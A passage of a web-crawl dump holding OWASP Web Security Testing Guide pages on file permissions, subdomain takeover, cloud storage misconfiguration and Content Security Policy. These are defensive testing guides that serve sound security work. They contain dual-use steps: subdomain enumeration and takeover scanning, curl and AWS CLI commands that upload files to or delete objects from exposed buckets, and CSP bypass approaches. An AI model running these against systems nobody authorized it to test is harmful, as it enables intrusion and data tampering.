Objectives\n\n- Review and identify any rogue file permissions.\n\n## How to Test\n\nIn Linux, use `ls` command to check the file permissions. Alternatively, `namei` can also be used to recursively list file permissions.\n\n`$ namei -l /PathToCheck/`\n\nThe files and directories that require file permission testing can include, but are not limited to, the following:\n\n- Web files/directory\n- Configuration files/directory\n- Sensitive files(encrypted data, password, key)/directory\n- Log files(security logs, operation logs, admin logs)/directory\n- Executables(scripts, EXE, JAR, class, PHP, ASP)/directory\n- Database files/directory\n- Temp files/directory\n- Upload files/directory\n\n## Remediation\n\nSet the permissions of the files and directories properly so that unauthorized users cannot access critical resources.\n\n## Tools\n\n- [Windows AccessEnum](https://technet.microsoft.com/en-us/sysinternals/accessenum)\n- [Windows AccessChk](https://technet.microsoft.com/en-us/sysinternals/accesschk)\n- [Linux namei](https://linux.die.net/man/1/namei)\n\n## References\n\n- [CWE-732: Incorrect Permission Assignment for Critical Resource](https://cwe.mitre.org/data/definitions/732.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2222, "slov": 276, "odkazu": 204, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:09", "sha256": "d833d323ee289fe3cc50c0bb0634427523cc494f3a143bdf8cc1c9e807fd9650", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://technet.microsoft.com/en-us/sysinternals/accessenum", "https://technet.microsoft.com/en-us/sysinternals/accesschk", "https://linux.die.net/man/1/namei", "https://cwe.mitre.org/data/definitions/732.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/10-Subdomain_Takeover", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/10-Subdomain_Takeover", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/10-Subdomain_Takeover", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "02-Configuration and Deployment Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Subdomain Takeover"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "GitHub"}, {"uroven": 3, "text": "Expired Domain"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Subdomain Enumeration"}, {"uroven": 4, "text": "Fingerprint-Based Detection"}, {"uroven": 4, "text": "Manual Validation"}, {"uroven": 4, "text": "Cloud-Specific Takeovers"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Subdomain Takeover\n\n| ID |\n| --- |\n| WSTG-CONF-10 |\n\n## Summary\n\nA successful exploitation of this kind of vulnerability allows an adversary to claim and take control of the victim’s subdomain. This attack relies on the following:\n\n1. The victim’s external DNS server subdomain record is configured to point to a non-existing or non-active resource/external service/endpoint. The proliferation of XaaS (Anything as a Service) products and public cloud services offer a lot of potential targets to consider.\n2. The service provider hosting the resource/external service/endpoint does not handle subdomain ownership verification properly.\n\nIf the subdomain takeover is successful, a wide variety of attacks are possible (serving malicious content, phishing, stealing user session cookies, credentials, etc.). This vulnerability could be exploited for a wide variety of DNS resource records including: `A`, `CNAME`, `MX`, `NS`, `TXT` etc. In terms of the attack severity, an `NS` subdomain takeover (although less likely) has the highest impact, because a successful attack could result in full control over the whole DNS zone and the victim’s domain.\n\n### GitHub\n\n1. The victim (victim.com) uses GitHub for development and configured a DNS record ( `coderepo.victim.com` ) to access it.\n2. The victim decides to migrate their code repository from GitHub to a commercial platform and does not remove `coderepo.victim.com` from their DNS server.\n3. An adversary discovers that `coderepo.victim.com` is hosted on GitHub and claims it using GitHub Pages and their own GitHub account.\n\n### Expired Domain\n\n1. The victim (victim.com) owns another domain (victimotherdomain.com) and uses a CNAME record (www) to reference the other domain ( `www.victim.com` –> `victimotherdomain.com` )\n2. At some point, victimotherdomain.com expires, becoming available for registration by anyone. Since the CNAME record is not deleted from the victim.com DNS zone, anyone who registers `victimotherdomain.com` has full control over `www.victim.com` until the DNS record is removed or updated.\n\n## Test Objectives\n\n- Enumerate all possible domains (previous and current).\n- Identify any forgotten or misconfigured domains.\n\n## How to Test\n\n### Black-Box Testing\n\nSubdomain takeover testing follows three phases: subdomain enumeration, automated fingerprint-based detection, and manual validation.\n\nA dangling DNS record occurs when a DNS entry points to an external resource that no longer exists or has been deprovisioned. For example, a CNAME record pointing to a GitHub Pages site that the owner deleted still resolves, but the underlying resource is unclaimed. An attacker can register that resource and take control of the subdomain.\n\n#### Subdomain Enumeration\n\nUse [subfinder](https://github.com/projectdiscovery/subfinder) to discover subdomains for the target domain: `subfinder -d victim.com -o subdomains.txt`\n\nThis produces a list of subdomains to use in the detection phase.\n\n#### Fingerprint-Based Detection\n\nFingerprint-based detection works by comparing each subdomain’s HTTP response against a database of known vulnerable service responses. The [can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz) project maintains this database, cataloging the specific response strings returned by service providers such as GitHub Pages, AWS S3, Heroku, and Fastly when a resource is unclaimed.\n\nUse [subzy](https://github.com/LukaSikic/subzy) for a quick initial scan: `subzy run --targets subdomains.txt`\n\nFollow up with [nuclei](https://github.com/projectdiscovery/nuclei) using the dedicated takeover templates for a more accurate result: `nuclei -l subdomains.txt -t takeovers/`\n\nA positive result from either tool indicates that a subdomain’s response matched a known vulnerable fingerprint, suggesting a dangling DNS record pointing to an unclaimed resource on a third-party service.\n\nFor example, a subdomain pointing to an unclaimed GitHub Pages site returns the following response:\n\n```\nHTTP/1.1 404 Not Found ...

There isn't a GitHub Pages site here.

\n```\n\nThis specific string is listed in can-i-take-over-xyz as the GitHub Pages fingerprint. When subzy or nuclei matches this response, it flags the subdomain as potentially vulnerable.\n\n#### Manual Validation\n\nAutomated tools produce false positives. Validate each finding manually before reporting it.\n\n1. Confirm the DNS record and where it points: `dig CNAME subdomain.victim.com`\n2. Confirm the response matches the expected fingerprint for that service provider as listed in [can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz): `curl -i http://subdomain.victim.com`\n3. Confirm the resource is unclaimed on the service provider’s platform. Do not claim it.\n\n#### Cloud-Specific Takeovers\n\nMajor cloud providers have distinct takeover patterns worth specific attention:\n\n- AWS S3: A CNAME pointing to an S3 bucket URL (for example, `bucket.s3.amazonaws.com` ) where the bucket no longer exists returns a `NoSuchBucket` response. Anyone who creates a bucket with the same name in any AWS account can claim the subdomain.\n- Azure: Dangling CNAMEs pointing to deprovisioned Azure resources such as App Services or Traffic Manager endpoints can be claimed by registering the same resource name in a different Azure subscription.\n- GCP: Similar patterns exist for Cloud Storage buckets and Firebase Hosting endpoints.\n\n### Gray-Box Testing\n\nThe tester has the DNS zone file available, which means DNS enumeration is not necessary. The testing methodology is the same.\n\n## Remediation\n\nTo mitigate the risk of subdomain takeover, the vulnerable DNS resource record(s) should be removed from the DNS zone. Continuous monitoring and periodic checks are recommended as best practice.\n\n## Tools\n\n- [subfinder - Subdomain enumeration tool](https://github.com/projectdiscovery/subfinder)\n- [subzy - Subdomain takeover detection tool](https://github.com/LukaSikic/subzy)\n- [nuclei - Vulnerability scanner with takeover templates](https://github.com/projectdiscovery/nuclei)\n- [nuclei-templates - Community takeover templates](https://github.com/projectdiscovery/nuclei-templates)\n- [can-i-take-over-xyz - Vulnerable service fingerprint database](https://github.com/EdOverflow/can-i-take-over-xyz)\n- [dig - DNS lookup utility](https://man.cx/dig)\n- [OWASP Domain Protect](https://owasp.org/www-project-domain-protect)\n\n## References\n\n- [HackerOne - A Guide To Subdomain Takeovers](https://www.hackerone.com/blog/Guide-Subdomain-Takeovers)\n- [Subdomain Takeover: Basics](https://0xpatrik.com/subdomain-takeover-basics/)\n- [Subdomain Takeover: Going beyond CNAME](https://0xpatrik.com/subdomain-takeover-ns/)\n- [can-i-take-over-xyz - A list of vulnerable services](https://github.com/EdOverflow/can-i-take-over-xyz/)\n- [OWASP AppSec Europe 2017 - Frans Rosén: DNS hijacking using cloud providers – no verification needed](https://2017.appsec.eu/presos/Developer/DNS%20hijacking%20using%20cloud%20providers%20%E2%80%93%20no%20verification%20needed%20-%20Frans%20Rosen%20-%20OWASP_AppSec-Eu_2017.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7013, "slov": 922, "odkazu": 212, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:09", "sha256": "87707f50cf54106c7c801f2295a05b6930aa5d1a4b366fc20c163703019962ff", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/projectdiscovery/subfinder", "https://github.com/EdOverflow/can-i-take-over-xyz", "https://github.com/LukaSikic/subzy", "https://github.com/projectdiscovery/nuclei", "https://github.com/projectdiscovery/nuclei-templates", "https://man.cx/dig", "https://www.hackerone.com/blog/Guide-Subdomain-Takeovers", "https://0xpatrik.com/subdomain-takeover-basics/", "https://0xpatrik.com/subdomain-takeover-ns/", "https://github.com/EdOverflow/can-i-take-over-xyz/", "https://2017.appsec.eu/presos/Developer/DNS%20hijacking%20using%20cloud%20providers%20%E2%80%93%20no%20verification%20needed%20-%20Frans%20Rosen%20-%20OWASP_AppSec-Eu_2017.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/11-Cloud_Storage", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/11-Cloud_Storage", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/11-Cloud_Storage", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "02-Configuration and Deployment Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Cloud Storage"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Amazon S3 Bucket Misconfiguration"}, {"uroven": 4, "text": "Identify Bucket URL"}, {"uroven": 4, "text": "AWS-CLI"}, {"uroven": 5, "text": "List"}, {"uroven": 5, "text": "Upload"}, {"uroven": 5, "text": "Remove"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Cloud Storage\n\n| ID |\n| --- |\n| WSTG-CONF-11 |\n\n## Summary\n\nCloud storage services allow web applications and services to store and access objects in the storage service. Improper access control configuration, however, may lead to the exposure of sensitive information, data tampering, or unauthorized access.\n\nA known example is where an Amazon S3 bucket is misconfigured, although the other cloud storage services may also be exposed to similar risks. By default, all S3 buckets are private and can be accessed only by users who are explicitly granted access. Users can grant public access not only to the bucket itself but also to individual objects stored within that bucket. This may lead to an unauthorized user being able to upload new files, modify or read stored files.\n\n## Test Objectives\n\n- Assess that the access control configuration for the storage services is properly in place.\n\n## How to Test\n\nFirst, identify the URL to access the data in the storage service, and then consider the following tests:\n\n- Read unauthorized data\n- Upload a new arbitrary file\n\nYou may use curl for the tests with the following commands and see if unauthorized actions can be performed successfully.\n\nTo test the ability to read an object:\n\n```\ncurl -X GET https:///\n```\n\nTo test the ability to upload a file:\n\n```\ncurl -X PUT -d 'test' 'https:///test.txt' \n```\n\nIn the above command, it is recommended to replace the single quotes (‘) with double quotes (“) when running the command on a Windows machine.\n\n### Amazon S3 Bucket Misconfiguration\n\nThe Amazon S3 bucket URLs follow one of two formats, either virtual host style or path-style.\n\n- Virtual Hosted Style Access\n\n```\nhttps://bucket-name.s3.Region.amazonaws.com/key-name\n```\n\nIn the following example, `my-bucket` is the bucket name, `us-west-2` is the region, and `puppy.png` is the key-name:\n\n```\nhttps://my-bucket.s3.us-west-2.amazonaws.com/puppy.png\n```\n\n- Path-Style Access\n\n```\nhttps://s3.Region.amazonaws.com/bucket-name/key-name\n```\n\nAs above, in the following example, `my-bucket` is the bucket name, `us-west-2` is the region, and `puppy.png` is the key-name:\n\n```\nhttps://s3.us-west-2.amazonaws.com/my-bucket/puppy.png\n```\n\nFor some regions, the legacy global endpoint that does not specify a region-specific endpoint can be used. Its format is also either virtual hosted style or path-style.\n\n- Virtual Hosted Style Access\n\n```\nhttps://bucket-name.s3.amazonaws.com\n```\n\n- Path-Style Access\n\n```\nhttps://s3.amazonaws.com/bucket-name\n```\n\n#### Identify Bucket URL\n\nFor black-box testing, S3 URLs can be found in the HTTP messages. The following example shows a bucket URL is sent in the `img` tag in an HTTP response.\n\n```\n...\n\n...\n```\n\nFor gray-box testing, you can obtain bucket URLs from Amazon’s web interface, documents, source code, and any other available sources.\n\n#### AWS-CLI\n\nIn addition to testing with curl, you can also test with the AWS command-line tool. In this case `s3://` URI scheme is used.\n\n##### List\n\nThe following command lists all the objects of the bucket when it is configured public:\n\n```\naws s3 ls s3://\n```\n\n##### Upload\n\nThe following is the command to upload a file:\n\n```\naws s3 cp arbitrary-file s3://bucket-name/path-to-save\n```\n\nThis example shows the result when the upload has been successful.\n\n```\n$ aws s3 cp test.txt s3://bucket-name/test.txt\nupload: ./test.txt to s3://bucket-name/test.txt\n```\n\nThis example shows the result when the upload has failed.\n\n```\n$ aws s3 cp test.txt s3://bucket-name/test.txt\nupload failed: ./test2.txt to s3://bucket-name/test2.txt An error occurred (AccessDenied) when calling the PutObject operation: Access Denied\n```\n\n##### Remove\n\nThe following is the command to remove an object:\n\n```\naws s3 rm s3://bucket-name/object-to-remove\n```\n\n## Tools\n\n- [AWS CLI](https://aws.amazon.com/cli/)\n\n## References\n\n- [Working with Amazon S3 Buckets](https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingBucket.html)\n- [flAWS 2 - Learn AWS Security](http://flaws2.cloud)\n- [curl Tutorial](https://curl.se/docs/manual.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 4100, "slov": 594, "odkazu": 204, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:11", "sha256": "e98d239a09a01234f10a555c459503b4af477d1b7a48c73859307e9fd3e583b5", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://aws.amazon.com/cli/", "https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingBucket.html", "http://flaws2.cloud/", "https://curl.se/docs/manual.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/12-Content_Security_Policy", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/12-Content_Security_Policy", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/12-Content_Security_Policy", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "02-Configuration and Deployment Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Content Security Policy"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Identify and Confirm CSP Enforcement"}, {"uroven": 3, "text": "Review High-Risk Directives"}, {"uroven": 3, "text": "Validate Nonce and strict-dynamic Usage"}, {"uroven": 3, "text": "Evaluate CSP Reporting Mechanisms"}, {"uroven": 3, "text": "Attempt Controlled Bypass Techniques"}, {"uroven": 3, "text": "Assess Policy Strength"}, {"uroven": 3, "text": "Common CSP Bypass Patterns"}, {"uroven": 4, "text": "JSONP and Trusted Third-Party Endpoints"}, {"uroven": 4, "text": "Wildcard and Broad Source Policies"}, {"uroven": 4, "text": "Nonce Reuse or Predictable Nonces"}, {"uroven": 4, "text": "Over-Reliance on strict-dynamic"}, {"uroven": 4, "text": "Missing Defense-in-Depth Directives"}, {"uroven": 4, "text": "CSP in Report-Only Mode"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 3, "text": "General Recommendations"}, {"uroven": 3, "text": "Deployment Best Practices"}, {"uroven": 3, "text": "Strict Policy Guidance"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Content Security Policy\n\n| ID |\n| --- |\n| WSTG-CONF-12 |\n\n## Summary\n\nContent Security Policy (CSP) is a declarative allow-list policy enforced through `Content-Security-Policy` response header or equivalent `` element. It allows developers to restrict the sources from which resources such as JavaScript, CSS, images, files etc. are loaded. CSP is an effective defense in depth technique to mitigate the risk of vulnerabilities such as Cross Site Scripting (XSS) and Clickjacking.\n\nContent Security Policy supports directives which allow granular control to the flow of policies. (See References for further details.)\n\n## Test Objectives\n\n- Review the Content-Security-Policy header or meta element to identify misconfigurations.\n\n## How to Test\n\nIdentifying Content Security Policy (CSP) weaknesses requires more than verifying the presence of the header. The tester should evaluate whether the policy meaningfully reduces the attack surface and is properly enforced.\n\n### Identify and Confirm CSP Enforcement\n\n- Inspect HTTP responses for the presence of the `Content-Security-Policy` header.\n- Check for `Content-Security-Policy-Report-Only` . If only Report-Only is present, the policy is not enforced.\n- Verify whether CSP is delivered via HTTP header or `` tag (HTTP headers are preferred).\n- Consider that CSP delivered via `` tags does not support certain directives such as `frame-ancestors` , `report-uri` , `report-to` , or `sandbox` .\n- Confirm that the policy is consistently applied across sensitive endpoints.\n\n### Review High-Risk Directives\n\nInspect the policy for insecure or overly permissive directives:\n\n- `unsafe-inline` allows inline scripts or styles and significantly weakens XSS protections.\n- `unsafe-eval` permits dynamic code evaluation ( `eval()` ), increasing bypass risk.\n- `unsafe-hashes` may allow inline execution if hashes are predictable or improperly scoped.\n- Wildcard ( `*` ) sources may allow loading resources from any origin.\n - Partial wildcards such as `https://*` or `*.cdn.com` should be carefully evaluated.\n - Determine whether allowlisted domains host JSONP endpoints or user-controlled content.\n- Absence or misuse of `frame-ancestors` may expose the application to clickjacking.\n- Missing `object-src` , `base-uri` , or restrictive `default-src` directives may weaken policy effectiveness.\n- Review usage of `require-trusted-types-for` and `trusted-types` . In high-risk applications, absence of Trusted Types may leave DOM-based injection sinks exposed. If `trusted-types` policies are defined, ensure they are not overly permissive.\n- Check for duplicate directives or conflicting policy definitions that may result in unintended enforcement behavior.\n\n### Validate Nonce and strict-dynamic Usage\n\nIf the policy uses nonces:\n\n- Confirm that nonces are cryptographically random.\n- Verify that nonces are regenerated per response and not reused.\n- Ensure that legacy inline script patterns are not inadvertently trusted.\n\nIf `strict-dynamic` is used:\n\n- Understand that trust propagates from nonce- or hash-based scripts.\n- Confirm that no unsafe trust chain allows attacker-controlled script loading.\n\n### Evaluate CSP Reporting Mechanisms\n\nIf `report-uri` or `report-to` is configured:\n\n- Verify that reporting endpoints are reachable and functional.\n- Determine whether sensitive information is exposed in reports.\n- Confirm that reporting does not create new injection or denial-of-service vectors.\n\n### Attempt Controlled Bypass Techniques\n\nWhere appropriate and authorized, attempt to validate enforcement by testing controlled payloads:\n\n- Inline script injection attempts.\n- Data URL–based payloads.\n- JSONP callback manipulation from allowlisted domains.\n- DOM-based gadget chaining using trusted script sources.\n\nSuccessful execution of injected JavaScript indicates CSP misconfiguration or ineffective enforcement.\n\n### Assess Policy Strength\n\nBusiness-critical applications should aim to implement a strict policy. A robust CSP typically:\n\n- Avoids `unsafe-inline` and `unsafe-eval` .\n- Uses nonce- or hash-based script controls.\n- Restricts object embedding ( `object-src 'none'` ).\n- Restricts base tag manipulation ( `base-uri 'none'` ).\n- Restricts framing using `frame-ancestors` .\n\n### Common CSP Bypass Patterns\n\nEven when CSP is present, misconfigurations or design weaknesses may allow bypass. Testers should consider the following common patterns:\n\n#### JSONP and Trusted Third-Party Endpoints\n\nIf a CSP allowlists third-party domains (e.g., CDNs), determine whether those domains expose JSONP endpoints or user-controlled content. Attackers may leverage callback injection to execute arbitrary JavaScript while still complying with the policy.\n\n#### Wildcard and Broad Source Policies\n\nPolicies that rely on wildcards (`*`, `https://*`, `*.example.com`) significantly expand the trust boundary. Subdomain takeovers or compromised third-party services may enable bypass within the allowed scope.\n\n#### Nonce Reuse or Predictable Nonces\n\nIf nonces are reused across requests or generated predictably, attackers may reuse or guess them to execute injected scripts. Each response should generate a fresh, cryptographically strong nonce.\n\n#### Over-Reliance on strict-dynamic\n\nWhile `strict-dynamic` improves nonce-based policies, trust propagates from trusted scripts. If a trusted script loads attacker-controlled resources, the protection may be weakened.\n\n#### Missing Defense-in-Depth Directives\n\nAbsence of directives such as:\n\n- `object-src 'none'`\n- `base-uri 'none'`\n- `frame-ancestors`\n\nmay leave the application exposed to object injection, base tag manipulation, or clickjacking, even if script execution is partially restricted.\n\n#### CSP in Report-Only Mode\n\nApplications sometimes deploy CSP in `Report-Only` mode indefinitely. In such cases, violations are logged but not blocked, providing no real protection.\n\n## Remediation\n\nOrganizations should implement a strong, well-scoped Content Security Policy that meaningfully reduces the attack surface rather than simply satisfying compliance requirements.\n\n### General Recommendations\n\n- Avoid use of `unsafe-inline` and `unsafe-eval` .\n- Prefer nonce- or hash-based script controls.\n- Use a restrictive `default-src` directive.\n- Explicitly define:\n - `object-src 'none'`\n - `base-uri 'none'`\n - `frame-ancestors`\n- Minimize the number of allowlisted third-party domains.\n- Regularly review CSP policies when introducing new frontend dependencies.\n\n### Deployment Best Practices\n\n- Deploy `Content-Security-Policy-Report-Only` temporarily for testing, then enforce `Content-Security-Policy` once validated.\n- Monitor violation reports for legitimate breakage and potential attack attempts.\n- Prefer `report-to` (CSP Level 3) while maintaining `report-uri` for backward compatibility where required.\n- Ensure nonces are cryptographically random and regenerated per response.\n- Review policies during major frontend refactoring or framework changes.\n\n### Strict Policy Guidance\n\nA strict policy provides protection against stored, reflected, and certain DOM-based XSS attacks and should be the goal for high-risk or business-critical applications.\n\nBased on nonce-based approaches, example policies include:\n\nModerate Strict Policy:\n\n```\nscript-src 'nonce-r4nd0m' 'strict-dynamic';\nobject-src 'none';\nbase-uri 'none';\n```\n\nLocked Down Strict Policy:\n\n```\nscript-src 'nonce-r4nd0m';\nobject-src 'none';\nbase-uri 'none';\n```\n\n> Note: `'nonce-r4nd0m'` is shown as an example placeholder. In practice, nonces must be cryptographically strong, base64-encoded values that are uniquely generated for every HTTP response.\n\nTeams should adapt strict policies carefully, ensuring compatibility with application architecture while maintaining security objectives.\n\n## Tools\n\n- [Google CSP Evaluator](https://csp-evaluator.withgoogle.com/)\n- [CSP Auditor - Burp Suite Extension](https://portswigger.net/bappstore/35237408a06043e9945a11016fcbac18)\n- [CSP Generator Chrome](https://chrome.google.com/webstore/detail/content-security-policy-c/ahlnecfloencbkpfnpljbojmjkfgnmdc) / [Firefox](https://addons.mozilla.org/en-US/firefox/addon/csp-generator/)\n- [CSP Validator](https://cspvalidator.netlify.app/)\n- [ZAP](https://www.zaproxy.org/) – Includes automated and passive analysis for CSP misconfigurations.\n- [CSPBypass](https://cspbypass.com/) – Tool designed to help security testers analyze and attempt bypass techniques against restrictive CSP implementations.\n\n## References\n\n- [OWASP Content Security Policy Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html)\n- [Mozilla Developer Network: Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)\n- [CSP Level 3 W3C](https://www.w3.org/TR/CSP3/)\n- [CSP with Google](https://csp.withgoogle.com/docs/index.html)\n- [Content-Security-Policy](https://content-security-policy.com/)\n- [CSP A Successful Mess Between Hardening And Mitigation](https://speakerdeck.com/lweichselbaum/csp-a-successful-mess-between-hardening-and-mitigation)\n- [The unsafe-hashes Source List Keyword](https://content-security-policy.com/unsafe-hashes/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 8970, "slov": 1168, "odkazu": 215, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:12", "sha256": "7048cca5f0a5947211248ff2bf2689aa81141494531a9d9709da030862faf202", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://csp-evaluator.withgoogle.com/", "https://portswigger.net/bappstore/35237408a06043e9945a11016fcbac18", "https://chrome.google.com/webstore/detail/content-security-policy-c/ahlnecfloencbkpfnpljbojmjkfgnmdc", "https://addons.mozilla.org/en-US/firefox/addon/csp-generator/", "https://cspvalidator.netlify.app/", "https://www.zaproxy.org/", "https://cspbypass.com/", "https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html", "https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP", "https://www.w3.org/TR/CSP3/", "https://csp.withgoogle.com/docs/index.html", "https://content-security-policy.com/", "https://speakerdeck.com/lweichselbaum/csp-a-successful-mess-between-hardening-and-mitigation", "https://content-security-policy.com/unsafe-hashes/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/13-Path_Confusion", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/13-Path_Confusion", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management/13-Path_Confusion", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "02-Configuration and Deployment Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Path Confusion"}, 